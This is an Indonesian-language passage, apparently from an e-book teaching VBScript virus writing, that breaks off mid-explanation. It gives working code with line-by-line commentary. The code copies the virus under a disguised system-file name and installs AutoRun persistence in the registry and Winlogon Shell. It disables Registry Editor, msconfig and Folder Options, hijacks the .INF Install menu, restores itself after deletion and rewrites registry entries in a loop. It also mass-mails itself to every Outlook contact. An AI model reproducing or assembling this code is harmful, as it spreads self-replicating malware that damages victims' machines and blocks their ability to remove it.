Target = FolderLain.SpecialFolders("AllUsersPrograms")

Perintah ini akan menghasilkan alamat path folder “Programs” pada Start
Menu untuk seluruh user (All Users).
•

Target = FolderLain.SpecialFolders("AllUsersStartup")

Baris perintah ini akan menghasilkan alamat path folder “Startup” pada Start
Menu untuk seluruh user (All Users).
•

Target = FolderLain.SpecialFolders("Favorites")

Baris perintah ini akan menghasilkan alamat path folder “Favorites” dari user
yang sedang aktif (Current User).
•

Target = FolderLain.SpecialFolders("AppData")

Perintah ini akan menghasilkan alamat path folder “Application Data” dari user
yang sedang aktif (Current User).

23
•

Target = FolderLain.SpecialFolders("Recent")

Baris perintah ini akan menghasilkan alamat path folder “Recent” dari user
yang sedang aktif (Current User).
•

Target = WScript.ScriptFullName

Jika perintah pada baris-baris sebelumnya akan menghasilkan alamat folderfolder system, namun pada baris ini akan menghasilkan alamat folder tempat
script tersebut dijalankan lengkap beserta nama file-nya. Sebagai contoh,
penulis menyimpan script ini pada folder “D:PublishE-BookVirus” dengan
nama file “ScriptSpecialFolder.vbs”, maka jika dijalankan variabel “Target”
akan berisi “D:PublishE-BookVirusScriptSpecialFolder.vbs”.

3.4

Anti Error
Dalam membuat virus wajib hukumnya untuk menghindari error atau runtime-error
yang terjadi saat virus berjalan. Karena jika terjadi error maka interpreter akan
memunculkan dialogbox runtime-error dan virus akan berhenti berjalan. Hal
tersebut tentunya tidak bagus untuk kesehatan virus kita dan dapat menimbulkan
kecurigaan user saat dialogbox runtime-error tampil.

Gambar 3.3: DialogBox Runtime Error

Untuk mengatasi permasalahan tersebut anda dapat menggunakan perintah “On
Error Resume Next” yang berfungsi untuk mengabaikan error jika ada error yang
terjadi dan melanjutkan eksekusi ke perintah selanjutnya. Perintah tersebut
diletakan paling atas pada script, berikut contoh penggunaannya jika digabungkan
dengan script sebelumnya :

24
Dim Target
Dim FSO

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")

'Windows Folder :
Target = FSO.GetSpecialFolder(0)

'Windows System Folder :
Target = FSO.GetSpecialFolder(1)

'Windows Temp Folder :
Target = FSO.GetSpecialFolder(2)

Perhatikan baris script yang berwarna merah dan tercetak tebal, disitulah perintah
“On Error Resume Next” diletakan. Dengan demikian script virus anda akan
terbebas dari runtime-error dan akan terus berjalan sampai akhir script.

3.5

Penggandaan Diri
Metode penggandaan diri ini sudah menjadi “pakem” dalam dunia per-virus-an.
Hampir (atau dapat dikatan semua) virus yang beredar menggunakan metode ini
untuk menyimpan copy dirinya ke komputer host / target dan biasanya dengan nama
file yang disamarkan sehingga user akan mengira file virus tersebut adalah bagian
dari sistem operasi.

File copy virus tersebutlah yang akan aktif dan terus bekerja setiap kali komputer
dihidupkan dengan cara membuat fasilitas AutoRun pada sistem Windows. Fasilitas
AutoRun ini akan dibahas pada bagian berikutnya.

Pada metode penggandaan diri ini biasanya virus membuat copy dirinya sendiri
pada folder sistem seperti folder Windows dan Windowssystem. Berikut akan
diberikan contoh script-nya :

25
Dim FSO
Dim BodyVirus
Dim IsiVirus

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")

'Buka dan Baca Dirinya Sendiri
Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)
'Simpan Dalam Variabel IsiVirus
IsiVirus = BodyVirus.ReadAll
BodyVirus.Close

'Copy Dirinya Sendiri Ke Folder Windows
Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) &
"mskernel32.dll.vbs")
BodyVirus.Write IsiVirus
BodyVirus.Close

Pada contoh script diatas, program akan mencoba untuk meng-copy dirinya sendiri
ke folder Windows (defaultnya adalah “C:Windows”) dengan nama file
“mskernel32.dll.vbs”. Untuk lebih jelasnya berikut akan diberikan keterangan dari
tiap-tiap baris script tersebut :
•

Dim FSO

Baris ini merupakan perintah untuk mendeklarasikan variabel bernama “FSO”.
•

Dim BodyVirus

Sama

seperti

baris

sebelumnya

yaitu

merupakan

perintah

untuk

mendeklarasikan variabel bernama “BodyVirus”.
•

Dim IsiVirus

Baris ini juga merupakan perintah untuk mendeklarasikan variabel dengan nama
“IsiVirus”.

26
•

On Error Resume Next

Seperti telah dijelaskan pada sub-bab sebelumnya (3.4 Anti Error), perintah ini
berfungsi untuk mengabaikan error jika ada error yang terjadi selama runtime,
dan jika ada error yang terjadi interpreter secara otomatis akan melanjutkan
eksekusi script pada baris berikutnya.
•

Set FSO = CreateObject("Scripting.FileSystemObject")

Baris ini berisi perintah untuk mengeset variabel “FSO” sebagai objek
“Scripting.FileSystemObject”.
•

Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)

Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek file dan
sekaligus melakukan pembukaan / pembacaan file (FSO.OpenTextFile).
Adapun

file

yang

dibuka

/

dibaca

adalah

file

dirinya

sendiri

(WScript.ScriptFullName), dengan kata lain script tersebut akan membuka
dan membaca dirinya sendiri (WScript.ScriptFullName).

WScript.ScriptFullName akan memberikan nilai kembalian (Return Value)
berupa alamat path beserta nama file script yang dijalankan tersebut. Jika
kurang jelas baca lagi sub-bab 3.3 Mendapatkan Special Folder.
•

IsiVirus = BodyVirus.ReadAll

Perintah pada baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan isi
dirinya sendiri yang pada baris sebelumnya telah dibuka. Perintah
“BodyVirus.ReadAll” berfungsi untuk membaca keseluruhan isi file yang
dalam contoh ini adalah file dirinya sendiri.
•

BodyVirus.Close

Baris ini berfungsi untuk menutup file yang sebelumnya telah dibuka dan
dibaca.
•

Set

BodyVirus

=

FSO.CreateTextFile(FSO.GetSpecialFolder(0)

&

"mskernel32.dll.vbs")

Baris ini harus ditulis dalam satu baris. Maksud dari perintah ini adalah
mengeset variabel “BodyVirus” sebagai objek file dan sekaligus membuat
sebuah file baru yang ditandai dengan perintah FSO.CreateTextFile.

27
sedangkan perintah FSO.GetSpecialFolder(0) akan menghasilkan alamat path
folder Windows (C:Windows). Jadi file akan dibuat pada folder Windows
dengan nama file “mskernel32.dll.vbs” yang ditandai dengan string
“mskernel32.dll.vbs”.
•

BodyVirus.Write IsiVirus

Perintah pada baris ini berfungsi untuk menulis file yang dibuat tersebut
(“mskernel32.dll.vbs”) dengan isi dari variabel “IsiVirus” yang mana variabel
“IsiVirus” tersebut berisikan script ini sendiri (dirinya sendiri) yang mana
variabel “IsiVirus” tersebut telah diisikan pada perintah “IsiVirus =
BodyVirus.ReadAll” pada perintah sebelumnya.
•

BodyVirus.Close

Baris ini berfungsi untuk menutup file yang sebelumnya dibuka dan ditulis
menggunakan

perintah

“Set

BodyVirus

=

FSO.CreateTextFile(FSO.GetSpecialFolder(0) & “mskernal32.dll.vbs”)”.

Setelah anda melihat script tersebut diatas, anda mungkin bertanya-tanya mengapa
script programnya terlalu berbelit? Bukankah proses tersebut hampir sama atau
mirip dengan proses copy? Mengapa tidak menggunakan fungsi copy saja agar
script programnya lebih ringkas? Mengapa, mengapa dan mengapa? Tanya kenapa?

Pertanyaan tersebut ada benarnya, proses tersebut bisa dikatakan sama dengan
proses copy biasa. Lalu mengapa yang saya berikan adalah cara yang begitu
berbelit? Hal tersebut dilakukan karena pada bab berikutnya kita akan membahas
teknik anti-deletion (anti penghapusan) yang mana script tersebut diatas merupakan
salah satu bagian dari teknik anti-deletion tersebut.

Dengan menggunakan cara seperti tersebut diatas, sangat dimungkinkan program
meng-copy-kan dirinya sendiri atau bahkan membuat atau membangun ulang
dirinya sendiri WALAUPUN FILE PROGRAMNYA SUDAH DIHAPUS. Hal
tersebut dimungkinkan karena program tersebut membaca dirinya sendiri dan
menyimpannya di memory. Keren banget kan ☺.

28
Dan juga, jika anda menggunakan fungsi copy lalu ternyata file sumber sudah
terhapus atau dihapus maka program akan menghasilkan runtime-error yang
mengakibatkan gagalnya peng-copy-an file dan dengan demikian proses
penggandaan diri pun ikut gagal. Namun jika anda tetap ingin melakukan metode
penggandaan diri menggunakan fungsi copy berikut adalah contoh script-nya :

'Penggandaan Diri Menggunakan Fungsi Copy :
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.CopyFile WScript.ScriptFullName, FSO.GetSpecialFolder(0) &
"mskernel32.dll.vbs", True

Dimana penjelasan script-nya adalah sebagai berikut, proses copy dilakukan pada
baris keempat dengan memanggil fungsi copy “FSO.CopyFile” dan sintaks yang
digunakan adalah “FSO.CopyFile (FileSumber, FileTujuan, [OverWrite])”
dimana “FileSumber” merupakan alamat path file asal yang mau di-copy dan
“FileTujuan” adalah alamat path tujuan file sedangkan “OverWrite” merupakan
tidakan yang harus dilakukan jika file tujuan ternyata sudah ada, nilainya adalah
TRUE atau FALSE. Jika “OverWrite” diataur TRUE maka overwrite akan
dilakukan jika file tujuan telah ada namun jika diatur FALSE overwrite tidak akan
dilakukan jika file tujuan sudah ada.

Gambar 3.4: File BackUp Virus (“mskernel32.dll.vbs”) Hasil Penggandaan Diri

29
3.6

Fasilitas AutoRun
Yang dimaksud AutoRun disini adalah kemampuan sebuah program untuk dapat
berjalan secara otomatis saat Windows start-up. Kebanyakan program-program
virus dan antivirus menggunakan fasilitas ini sehingga dapat secara otomatis
berjalan ketika Windows start-up.

Fasilitas ini disediakan oleh sistem operasi Microsoft Windows melalui beberapa
cara yang diantaranya adalah :

1. [Registry HKEY_CURRENT_USER]
Key

: SoftwareMicrosoftWindowsCurrentVersionRun

Value

: [Bebas]

Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]
Contoh

: wscript.exe C:WindowsVirus.vbs %

Value Type : String
Info

: AutoRun terpengaruh user yang login.

2. [Registry HKEY_CURRENT_USER]
Key

: SoftwareMicrosoftWindowsCurrentVersionRunOnce

Value

: [Bebas]

Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]
Contoh

: wscript.exe C:WindowsVirus.vbs %

Value Type : String
Info

: AutoRun pertama kali terpengaruh user yang login.

3. [Registry HKEY_LOCAL_MACHINE]
Key

: SoftwareMicrosoftWindowsCurrentVersionRun

Value

: [Bebas]

Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]
Contoh

: wscript.exe C:WindowsVirus.vbs %

Value Type : String
Info

: AutoRun tanpa terpengaruh user yang login.

30
4. [Registry HKEY_LOCAL_MACHINE]
Key

: SoftwareMicrosoftWindowsCurrentVersionRunOnce

Value

: [Bebas]

Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]
Contoh

: wscript.exe C:WindowsVirus.vbs %

Value Type : String
Info

: AutoRun pertama kali tanpa terpengaruh user yang login.

5. [Registry HKEY_LOCAL_MACHINE]
Key

: SoftwareMicrosoftWindows NTCurrentVersionWinlogon

Value

: Shell

Value Data : Explorer.exe “[[wscript.exe] [Alamat Path ke Program] [%]]”
Contoh

: Explorer.exe “wscript.exe C:WindowsVirus.vbs %”

Value Type : String
Info

: Tetap akan dijalankan walaupun saat SAFE MODE.

6. [StartUp Folder]
Path

: %StartMenuPath%ProgramsStartup

Info

: Buat Shortcut ke program atau copy file program.

Dari beberapa daftar fasilitas AutoRun tersebut yang paling penulis rekomendasikan
adalah

dengan

menggunakan

daftar

nomor

tiga

dan

nomor

lima

(HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
dan

HKEY_LOCAL_MACHINESoftwareMicrosoftWindows

NTCurrentVersionWinlogon). Sedangkan cara untuk penulisan sama seperti yang
telah dijelaskan pada sub-bab 3.2 (Baca Tulis Registry Windows). Berikut akan
diberikan contoh script untuk membuat fasilitas AutoRun pada registry Windows :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

'Buat AutoRun di Registry HKLM :

31
ObjReg.RegWrite
"HKLMSoftwareMicrosoftWindowsCurrentVersionRunmskernel32",
"wscript.exe " & WScript.ScriptFullName & " %"

Pada contoh tersebut akan membuat sebuah fasilitas AutoRun di registry pada key
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
dengan nama value “mskernel32” dan value data berisi “wscript.exe [alamat path
program] %”. Nama value menggunakan nama “mskernel32” tak lain dan tak
bukan adalah untuk keperluan penyamaran agar user mengira value tersebut
merupakan buatan sistem Windows. Berikut adalah tampilan hasilnya di registry :

Gambar 3.5: Key AutoRun Virus di Registry

3.7

Do…Loop Bikin Virus Tetap Hidup
Jika anda membuat program menggunakan VBScript dan menjalankannya maka
ketika interpreter sampai pada baris script terakhir dan mengeksekusinya program
akan berhenti karena baris script yang akan dieksekusi sudah habis. Hal tersebut
sangat tidak baik dalam pemrograman virus. Mengapa? Karena dalam konsep
pemrograman virus, virus harus aktif begitu Windows aktif dan terus aktif selama
Windows aktif.

Jadi untuk mengatasi permasalahan tersebut dan agar virus tidak mati jika kode
script telah selesai dieksekusi oleh interperter dapat digunakan perulangan

32
(looping) Do…Loop. Perulangan Do…Loop tersebut dimaksudkan untuk membuat
interpreter sibuk dan terus mengulang tanpa menemui batas akhir script. Berikut
adalah contoh script-nya :

Do
'Kode Script yang Diulang...
Loop

Simpelkan akan tetapi perulangan tersebut nantinya akan berhubungan dengan
teknik-teknik pemrograman virus tingkat lanjut seperti teknik anti deletion, teknik
anti registry deletion, teknik infeksi dan lain sebagainya yang akan dijelaskan dalam
bab selanjutnya.

33
BAB 4
Pemrograman Virus Tingkat Lanjut
Pada bab sebelumnya kita telah membahas mengenai dasar pemrograman virus yang
membahas mengenai perintah-perintah dasar yang sering digunakan dalam pemrograman
virus. Sedangkan pada bab ini kita akan membahas perintah-perintah dan teknik-teknik
yang lebih berat dibandingkan dengan perintah-printah yang terdapat pada bab
sebelumnya.

Ingat pembahasan kali ini lumayan berbahaya, penulis tidak bertanggung jawab atas
segala kerusakan yang terjadi, backup dulu semua konfigurasi sistem anda. Dan juga
penulis tidak peduli jika anda tidak mengerti dengan pembahasan ini ☺.

4.1

Disable Setting
Demi menjaga kelangsungan hidup virus yang kita buat pada komputer host, kita
harus menonaktifkan setting-setting yang dapat berpengaruh pada virus kita atau
dapat digunakan user untuk melumpuhkan virus kita. Untuk melakukannya
digunakan perintah tulis ke registry seperti yang telah dijelaskan pada bab
sebelumnya. Beberapa diantaranya adalah sebagai berikut :
•

Menonaktifkan Registry Editor (Regedit.exe)
Menonaktifkan registry editor mungkin merupakan hal yang cukup penting dan
hampir semua virus (terutama virus lokal) melakukan hal ini. Dengan
melumpuhkan setting ini user menjadi tidak dapat mengakses registry editor
pada sistemnya sendiri. Berikut adalah contoh script-nya :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

34
ObjReg.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPol
iciesSystemDisableRegistryTools", "1", "REG_DWORD"

ObjReg.RegWrite
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPo
liciesSystemDisableRegistryTools", "1", "REG_DWORD"

Script tersebut akan menulis ke root key HKEY_CURRENT_USER dan
HKEY_LOCAL_MACHINE. Setelah script tersebut dijalankan seharusnya
registry editor sudah terkunci. Cobalah anda jalankan registry editor dan lihat
apa yang tampil, jika yang tampil pesan registry editor telah di-disable oleh
administrator berarti script yang anda tuliskan benar dan jika registry edit masih
muncul berarti terdapat kesalahan pada script anda.

Gambar 4.1: Registry Editor Telah Terkunci

•

Menonaktifkan Microsoft System Configuration Utility (msconfig)
Berikutnya kita akan mencoba melumpuhkan msconfig dengan cara memasukan
alamat path fiktif pada App Paths di registry. Alamat path fiktif yang akan
dimasukan adalah “Z:AlamatPathFiktifBohong.exe” dan berikut adalah
contoh script-nya :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

35
ObjReg.RegWrite
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionAp
p PathsMSCONFIG.EXE", "Z:AlamatPathFiktifBohong.exe"

Simpan dan jalankan script tersebut lalu coba anda panggil msconfig melalui
fasilitas “Run” pada “Start Menu”. Jika yang tampil adalah pesan kesalahan
bahwa Windows tidak dapat menemukan msconfig berarti script yang anda
tuliskan sudah benar akan tetapi jika msconfig tetap tampil berarti ada kesalahan
dalam script anda.

Gambar 4.2: Msconfig Telah Dilumpuhkan

•

Menonaktifkan Folder Options
Yang perlu dilumpuhkan selanjutnya adalah menu “Folder Options…” pada
Windows Explorer. Perhatikan gambar berikut saat menu tersebut belum
dilumpuhkan :

Gambar 4.3: Menu Folder Option Masih Aktif

36
Dan berikut adalah contoh script-nya untuk membuat menu “Folder
Options…” tersebut hilang dari daftar menu pada Windows Explorer :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

ObjReg.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPol
iciesExplorerNoFolderOptions", "1", "REG_DWORD"

ObjReg.RegWrite
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPo
liciesExplorerNoFolderOptions", "1", "REG_DWORD"

Setelah script tersebut dijalankan seharusnya menu “Folder Options…” akan
hilang, jika belum hilang coba restart komputer anda agar perubahan dijalankan.

Gambar 4.4: Menu Folder Options Sudah Hilang

37
•

Menonaktifkan *.INF Install Menu
Menonaktifkan menu “Install” untuk file *.INF dapat dikatakan penting namun
juga tidak terlalu penting, nah lo bingungkan…??? Menjadi penting karena file
ini dapat digunakan untuk menghapus entri-entri virus yang kita buat pada
registry, seperti yang diterapkan oleh VAKSIN.COM (sebuah organisasi yang
selalu mengganggu kesenangan kita ☺), dan menjadi tidak penting karena kita
akan mempelajari teknik anti registry deletion yang dapat menghindari
penghapusan registry dengan cara tersebut. Berikut adalah script-nya :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

ObjReg.RegWrite
"HKEY_CLASSES_ROOTinffileshellInstallcommand", "wscript.exe
" & WScript.ScriptFullName & " %"

Perhatikan, pada baris terakhir terdapat spasi diantara tulisan wscript.exe dan
tanda kutip (") dan juga terdapat spasi diantara tanda kutip (") dan tanda persen
(%). Jangan sampai salah menuliskannya, jika salah menu “Install” tetap akan
tidak berfungsi namun tidak sesuai dengan yang kita harapkan yaitu tidak akan
dapat menjalankan virus kita saat menu “Install” diklik oleh user.

Dengan demikian, setiap kali user melakukan klik kanan pada file *.INF dan
memilih menu “Install” maka bukannya setting pada file *.INF tersebut yang
terinstall namun malah virus kita yang akan dijalankan

4.2

Teknik Anti Deletion
Teknik ini digunakan untuk mengatasi penghapusan file virus oleh user. Dengan
menggunakan teknik ini, user yang belum berpengalaman (seperti teman saya yang
bernama Mario yang beralamat di Wisma Asri, Bekasi) akan mengalami kesulitan
untuk menghapus file virus. Pada dasarnya inti dari teknik ini sudah dibahas pada

38
bab 3 (3.5 “Penggandaan Diri” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan
untuk menyempurnakannya kedua pembahasan tersebut digabungkan sehingga
menjadi sebuah teknik yang dalam pembahasan ini disebut dengan teknik anti
deletion. Ok, berikut adalah contoh script programnya :

Dim FSO
Dim BodyVirus
Dim IsiVirus

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")

'Buka dan Baca Dirinya Sendiri
Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)
'Simpan Dalam Variabel IsiVirus
IsiVirus = BodyVirus.ReadAll
BodyVirus.Close

Do
'Periksa Apakah File Masih Ada ?
If FSO.FileExists(WScript.ScriptFullName) = False Then
'File Sudah Dihapus, Buat Lagi
Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName)
BodyVirus.Write IsiVirus
BodyVirus.Close

'Kasih Pesan
Msgbox

"Maaf...

Jangan

Dihapus

Dong...",

VBExclamation,

"Perhatian"
End If
Loop

Simpan script tersebut dengan nama (misalnya) “anti-deletion.vbs” dan jalankan.
Setelah anda jalankan, coba anda hapus file tersebut dan apa yang terjadi. Ya,
proses penghapusan berjalan sebagai mana mestinya namun file tersebut akan
muncul lagi dan malah menampilkan sebuah pesan berupa messagebox.

39
Algoritmanya adalah sebagai berikut, ketika pertama kali script tersebut berjalan
script tersebut akan membuka dan membaca dirinya sendiri yang lalu disimpan
dalam sebuah variabel memory bernama “IsiVirus”. Setelah proses tersebut script
akan terus aktif (karena terkena perintah perulangan Do…Loop) dan terus
memeriksa apakah dirinya masih ada atau tidak. Jika dirinya sudah tidak ada,
misalnya dihapus, script tersebut akan mencoba untuk membuat file dirinya sendiri
lagi dengan nama dan tempat yang sama lalu memunculkan pesan messagebox.
Adapun pesan messagebox tersebut akan tampil seperti pada gambar berikut :

Gambar 4.5: Messagebox yang Tampil Saat File Script Dihapus

Berikut akan diberikan penjelasan jalannya proses script baris-per-baris :
•

Dim FSO

Baris ini merupakan deklarasi variabel bernama “FSO”.
•

Dim BodyVirus

Script pada baris ini juga merupakan sebuah deklarasi variabel, variabel yang
dideklarasikan bernama “BodyVirus”.
•

Dim IsiVirus

Sama seperti pada dua baris sebelumnya hanya saja variabel yang
dideklarasikan bernama “IsiVirus”.
•

On Error Resume Next

Script pada baris ini berfungsi untuk mengabaikan error yang terjadi atau yang
akan terjadi. Maksudnya jika terjadi error setelah perintah tersebut maka error
akan diabaikan dan proses akan terus dilanjutkan pada script dibaris selanjutnya.

40
•

Set FSO = CreateObject("Scripting.FileSystemObject")

Baris

ini

berfungsi

untuk

mengeset

variabel

“FSO”

sebagai

objek

“Scripting.FileSystemObject”.
•

Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)

Perintah pada baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai
objek “FSO.OpenTextFile” dan sekaligus membuka dirinya sendiri.
•

IsiVirus = BodyVirus.ReadAll

Baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan dirinya sendiri
yang tadi telah dibuka pada baris sebelumnya. Dengan demikian seluruh script
pada file ini tersimpan pada memory yang diwakili oleh variabel “IsiVirus”.
•

BodyVirus.Close

Script pada baris ini berfungsi untuk menutup file (file dirinya sendiri) yang tadi
telah dibuka pada dua baris sebelumnya.
•

Do

Perintah ini merupakan blok pembuka dari sebuah perulangan Do…Loop.
•

If FSO.FileExists(WScript.ScriptFullName) = False Then

Script pada baris ini merupakan awal dari blok IF…End IF yang memiliki
pengkondisian untuk memeriksa apakah file dirinya sendiri masih ada atau
sudah tidak ada. Jika sudah tidak ada maka script yang berada didalam blok
IF…End IF akan dijalankan namun jika masih ada script yang berada didalam
blok IF…End IF tidak akan dijalankan.
•

Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName)

Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek
“FSO.CreateTextFile” yang berguna untuk membuat sebuah file text dan file
yang dibuat adalah dirinya sendiri.
•

BodyVirus.Write IsiVirus

Script pada baris ini berfungsi untuk menulis file (yang telah dibuat pada script
baris sebelumnya) dengan isi variabel “IsiVirus” yang mana isi dari variabel
tersebut adalah script dirinya sendiri.

41
•

BodyVirus.Close

Script ini berfungsi untuk menutup file yang telah dibuka dan ditulis pada dua
baris script sebelumnya.
•

Msgbox

"Maaf...

Jangan

Dihapus

Dong...",

VBExclamation,

"Perhatian"

Perintah script tersebut berfungsi untuk menampilkan messagebox yang
memiliki tulisan “Maaf… Jangan Dihapus Dong…” yang memiliki icon tanda
seru (!) dan memiliki titlebar dengan tulisan “Perhatian”.
•

End If

Baris script ini merupakan penutup dari blok IF…End IF.
•

Loop

Baris ini merupakan penutup dari blok perulangan Do…Loop.

4.3

Teknik Anti Registry Deletion
Teknik ini secara teknis hampir sama atau mirip dengan teknik anti deletion yang
telah dibahas pada sub-bab sebelumnya, hanya saja teknik ini digunakan untuk
mengatasi penghapusan entri-entri registry yang dibuat oleh script (dalam hal ini
virus). Dengan menggunakan teknik ini bukan berarti entri-entri buatan pada
registry tidak dapat dihapus hanya saja akan sedikit lebih sulit dan bahkan bikin
pusing bagi user yang belum berpengalaman (juga seperti teman saya Mario yang
tinggal di Wisma Asri, Bekasi).

Pada dasarnya inti dari teknik ini juga sudah dibahas pada bab 3 (3.2 “Baca Tulis
Registry Window” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan untuk
membangun teknik ini anda tinggal menggabungkan kedua pembahasan dalam bab
3 tersebut. Berikut adalah contoh script programnya :

Dim ObjReg

On Error Resume Next
Set ObjReg = CreateObject("WScript.Shell")

42
'Tulis ke Registry
ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu"

Do
'Tulis Lagi ke Registry
ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu"
Loop

Ketika script tersebut dijalankan, program akan menulis entri ke registry dan akan
menulis lagi dan menulis lagi entri yang sama ke registry melalui blok perulangan
Do…Loop. Dengan demikian jika ada user yang menghapus entri tersebut secara
otomatis entri tersebut akan tertulis lagi tanpa sepengetahuan user tersebut.

4.4

Menyebar Melalui E-Mail
Sebenarnya teknik menyebar melalui e-mail ini merupakan salah satu teknik yang
keren pada saat-saat awal kemunculan virus yang ditulis menggunakan bahasa
VBScript. Namun sayangnya saat ini tingkat security pada produk-produk microsoft
telah di perketat dan hampir semua antivirus akan memblokir akses yang
memungkinkan program-program berbahaya seperti virus menyebarkan dirinya
dengan memanfaatkan e-mail client Outlook dan fungsi MAPI.

Mengacu pada penjelasan diatas, jangan terlalu berharap dari teknik menyebarkan
diri melalui e-mail ini. Disini kita hanya akan mempelajari caranya saja agar
mengerti bagaimana cara kerjanya dan supaya tidak “norak” sama teknik yang udah
“basi” ini ☺. Berikut adalah contoh script menyebar menggunakan e-mail :

InfeksiEmail

Function InfeksiEmail()
Set ObjEmail = CreateObject("Outlook.Application")

If ObjEmail = "Outlook" Then
Set ObjMapi = ObjEmail.GetNameSpace("MAPI")
Set DaftarAlamat = ObjMapi.AddressLists

43
For Each Alamat In DaftarAlamat
If Alamat.AddressEntries.Count <> 0 Then
JmlAlamat = Alamat.AddressEntries.Count

For i = 1 To JmlAlamat
Set ObjEmailItem = ObjEmail.CreateItem(0)
Set AlamatEmail = Alamat.AddressEntries(i)

ObjEmailItem.To = AlamatEmail.Address
ObjEmailItem.Subject = "INI SUBJECT"
ObjEmailItem.Body = "INI BODY E-MAIL"

Set AttachmentItem = ObjEmailItem.Attachments

ObjEmailItem.DeleteAfterSubmit = True
AttachmentItem.Add WScript.ScriptFullName

If ObjEmailItem.To <> "" Then
ObjEmailItem.Send
End If
Next
End If
Next
End If
End function

Teknik menyebar melalui e-mail tersebut pada script diatas diletakan dalam sebuah
fungsi (function) yang bernama “InfeksiEmail” yang dimulai dengan perintah
“Function InfeksiEmail()” dan diakhiri dengan perintah “End Function”. Dimana
fungsi tersebut dipanggil dan dijalankan pada baris pertama script yaitu
“InfeksiEmail”.

Dari script tersebut dapat diketahui bahwa untuk menyebarkan diri melalui e-mail
dilakukan dengan memanfaatkan aplikasi e-mail client Microsoft Outlook dan

44
menyebar keseluruh alamat e-mail yang terdapat pada daftar kontak Outlook. Dan
berikut adalah penjelasan script baris-per-baris :
•

InfeksiEmail

Baris ini merupakan script pemanggil fungsi “Function InfeksiEmail()”. Jadi
maksudnya fungsi “Function InfeksiEmail()” tersebut akan dieksekusi dan
dijalankan pada beris tersebut.
•

Function InfeksiEmail()

Merupakan blok pembuka fungsi (function) yang mana fungsinya bernama
“InfeksiEmail”.
•

Set ObjEmail = CreateObject("Outlook.Application")

Baris ini mengeset variabel “ObjEmail” sebagai objek aplikasi Outlook. Bisa
dikatakan aplikasi Microsoft Outlook diwakilkan sebagai variabel “ObjEmail”
pada script ini.
•

If ObjEmail = "Outlook" Then

Baris ini merupakan blok pembuka kondisi IF…End IF yang memeriksa isi
dari variabel “ObjEmail” dimana jika variabel “ObjEmail” tersebut berisi
“Outlook” maka script didalam blok IF…End IF tersebut akan dijalankan.
•

Set ObjMapi = ObjEmail.GetNameSpace("MAPI")

Baris ini mengeset variabel “ObjMapi” sebagai objek MAPI, dimana hampir
setiap e-mail client berbasis Windows menggunakan objek MAPI tersebut.
•

Set DaftarAlamat = ObjMapi.AddressLists

Pada baris ini variabel “DaftarAlamat” diset sebagai daftar alamat objek MAPI
pada aplikasi Outlook.
•

For Each Alamat In DaftarAlamat

Disini script akan melakukan perulangan untuk mendapatkan setiap alamat email yang terkandung didalam variabel “DaftarAlamat”.
•

If Alamat.AddressEntries.Count <> 0 Then

Blok IF pada baris ini akan melakukan pemeriksaan apakah jumlah alamat tidak
sama dengan nol (0). Jika tidak sama dengan nol (0) maka eksekusi perintah
yang berada didalam blok IF…END IF tersebut.

45
•

JmlAlamat = Alamat.AddressEntries.Count

Mendapatkan jumlah alamat yang hasilnya ditampung pada variabel
“JmlAlamat”.
•

For i = 1 To JmlAlamat

Baris ini merupakan awal blok perulangan FOR…NEXT yang akan melakukan
perulangan dari nilai satu (1) sampai sebanyak jumlah alamat yang nilainya
dikandung dalam variabel “JmlAlamat”.
•

Set ObjEmailItem = ObjEmail.CreateItem(0)

Baris ini berfungsi untuk mengeset variabel “ObjEmailItem” sebagai objek
email yang berfungsi untuk membuat item email baru.
•

Set AlamatEmail = Alamat.AddressEntries(i)

Baris ini mengeset variabel “AlamatEmail” sebagai alamat email ke “i” yang
mana “i” merupakan nilai dari perulangan FOR…NEXT dari satu (1) sampai
dengan jumlah alamat email yang terkandung dalam variabel “JmlAlamat”.
•

ObjEmailItem.To = AlamatEmail.Address

Perintah pada baris ini akan mengisi alamat email tujuan (To) yang diwakilkan
dengan objek email “ObjEmailItem.To” dari daftar alamat email yang didapat
dari variabel “AlamatEmail.Address”.
•

ObjEmailItem.Subject = "INI SUBJECT"

Baris

ini

akan

mengisikan

subject

email

ke

objek

email

“ObjEmailItem.Subject”. Dimana isi subject-nya adalah “INI SUBJECT”,
anda dapat menggantinya sesuai keinginan anda.
•

ObjEmailItem.Body = "INI BODY E-MAIL"

Sama seperti baris sebelumnya hanya saja disini kita mengeset body / pesan
